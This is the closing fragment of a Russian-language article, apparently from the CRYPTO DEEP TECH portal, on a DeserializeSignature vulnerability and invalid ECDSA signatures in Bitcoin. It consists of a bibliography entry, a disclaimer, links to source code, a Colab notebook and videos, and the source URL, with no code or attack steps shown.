  8. «Bitcoin and Blockchain Security» by Ghassan O. Karame — Dissertation on security issues in Bitcoin and blockchain technologies.

Данный материал создан для портала CRYPTO DEEP TECH для обеспечения финансовой безопасности данных и криптографии на эллиптических кривых secp256k1 против слабых подписей ECDSA в криптовалюте BITCOIN. Создатели программного обеспечения не несут ответственность за использование материалов.

Исходный код

Google Colab

ATTACKSAFE ULTRA

Telegram: https://t.me/cryptodeeptech

Видеоматериал: https://youtu.be/8E2KJeWu4XA

Dzen Video Tutorial: https://dzen.ru/video/watch/664e34fc8df6514b10da09e9

Источник: https://cryptodeep.ru/deserialize-signature-vulnerability-bitcoin

Уязвимость DeserializeSignature в сети Биткоин: криптоанализ, последствия и возможность создания недействительных подписей ECDSA

© Habrahabr.ru